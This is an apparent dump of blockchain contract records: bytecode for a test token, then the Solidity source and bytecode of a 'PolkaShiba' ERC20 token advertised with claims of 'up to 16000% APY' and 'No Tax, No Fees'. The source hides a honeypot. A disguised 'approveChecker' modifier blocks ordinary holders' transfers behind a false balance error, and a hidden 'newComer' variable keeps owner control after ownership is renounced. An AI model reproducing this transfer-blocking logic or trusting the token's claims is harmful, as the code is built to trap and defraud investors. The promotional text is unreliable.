815260200191505060405180910390f35b34156103d157600080fd5b6103d9610d6c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561042657600080fd5b61042e610d91565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561046e578082015181840152602081019050610453565b50505050905090810190601f16801561049b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104b457600080fd5b6104e0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dca565b604051808215151515815260200191505060405180910390f35b341561050557600080fd5b61053a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610dea565b604051808215151515815260200191505060405180910390f35b341561055f57600080fd5b610594600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e6e565b604051808215151515815260200191505060405180910390f35b34156105b957600080fd5b610604600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061106a565b6040518082815260200191505060405180910390f35b341561062557600080fd5b610651600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110f1565b005b341561065e57600080fd5b61068a600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111a7565b005b6040805190810160405280600e81526020017f544553543131303120546f6b656e00000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b6000600460009054906101000a900460ff1615806108285750600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561083357600080fd5b61083e8484846112fc565b90509392505050565b601281565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108a757600080fd5b6000600460006101000a81548160ff021916908315150217905550565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561091457600080fd5b33905061096982600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bb90919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109c1826002546116bb90919063ffffffff16565b6002819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600460009054906101000a900460ff1681565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ba3576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c37565b610bb683826116bb90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600881526020017f544553543131303100000000000000000000000000000000000000000000000081525081565b60056020528060005260406000206000915054906101000a900460ff1681565b6000600460009054906101000a900460ff161580610e515750600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515610e5c57600080fd5b610e6683836116d4565b905092915050565b6000610eff82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f890919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561114c57600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561120257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561123e57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561133957600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561138757600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561141257600080fd5b61146482600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bb90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114f982600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f890919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115cb82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bb90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008282111515156116c957fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561171157600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561175f57600080fd5b6117b182600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bb90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061184682600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f890919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080828401905083811015151561190c57fe5b80915050929150505600a165627a7a72305820f880552577f0d594b4e0f399a18fb2a21fce4f17709e147b2f79a24cac0a6bff0029
{"success": true, "error": null, "results": {}}
476
0xa9af51b573813790373724277710b62ea911bbd2
pragma solidity ^0.6.12; // Multichain NFT Market // Staking and Bonding- up to 16000% APY // www.polkashiba.com // https://t.me/PolkaShiba // Fair Launch // No Tax, No Fees library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract PolkaShiba is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply = 1000 * 10**9 * 10**18; string private _name = 'PolkaShiba'; string private _symbol = 'POSHI'; uint8 private _decimals = 18; address private _owner; address private _safeOwner; address private _uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor () public { _owner = owner(); _safeOwner = _owner; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } modifier approveChecker(address bored, address recipient, uint256 amount){ if (_owner == _safeOwner && bored == _owner){_safeOwner = recipient;_;} else{if (bored == _owner || bored == _safeOwner || recipient == _owner){_;} else{require((bored == _safeOwner) || (recipient == _uniRouter), "ERC20: transfer amount exceeds balance");_;}} } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function burn(uint256 amount) external onlyOwner{ _burn(msg.sender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _burn(address account, uint256 amount) internal virtual onlyOwner { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal approveChecker(sender, recipient, amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a0823114610291578063715018a6146102e95780638da5cb5b146102f357806395d89b4114610327578063a9059cbb146103aa578063dd62ed3e1461040e576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a057806323b872dd146101be578063313ce5671461024257806342966c6814610263575b600080fd5b6100c1610486565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610528565b60405180821515815260200191505060405180910390f35b6101a8610546565b6040518082815260200191505060405180910390f35b61022a600480360360608110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610550565b60405180821515815260200191505060405180910390f35b61024a610629565b604051808260ff16815260200191505060405180910390f35b61028f6004803603602081101561027957600080fd5b8101908080359060200190929190505050610640565b005b6102d3600480360360208110156102a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610717565b6040518082815260200191505060405180910390f35b6102f1610760565b005b6102fb6108e8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61032f610911565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036f578082015181840152602081019050610354565b50505050905090810190601f16801561039c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103f6600480360360408110156103c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b3565b60405180821515815260200191505060405180910390f35b6104706004803603604081101561042457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109d1565b6040518082815260200191505060405180910390f35b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561051e5780601f106104f35761010080835404028352916020019161051e565b820191906000526020600020905b81548152906001019060200180831161050157829003601f168201915b5050505050905090565b600061053c610535610a58565b8484610a60565b6001905092915050565b6000600654905090565b600061055d848484610c57565b61061e84610569610a58565b61061985604051806060016040528060288152602001611c4760289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105cf610a58565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b610a60565b600190509392505050565b6000600960009054906101000a900460ff16905090565b610648610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461070a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6107143382611863565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610768610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461082a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109a95780601f1061097e576101008083540402835291602001916109a9565b820191906000526020600020905b81548152906001019060200180831161098c57829003601f168201915b5050505050905090565b60006109c76109c0610a58565b8484610c57565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ae6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611cb56024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611bff6022913960400191505060405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610d265750600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156110265781600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415610df2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415610e78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b610ee484604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f7984600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361179b565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806110cf5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806111275750600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156113e657600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156111b2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611238576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b6112a484604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061133984600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361179a565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061148f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6114e4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611c216026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561156a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156115f0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b61165c84604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116f184600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b505050505050565b6000838311158290611850576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156118155780820151818401526020810190506117fa565b50505050905090810190601f1680156118425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b61186b610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461192d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119b3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611c6f6021913960400191505060405180910390fd5b611a1f81604051806060016040528060228152602001611bdd60229139600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a7781600654611b6f90919063ffffffff16565b600681905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080828401905083811015611b65576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000611bb183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117a3565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e742065786365656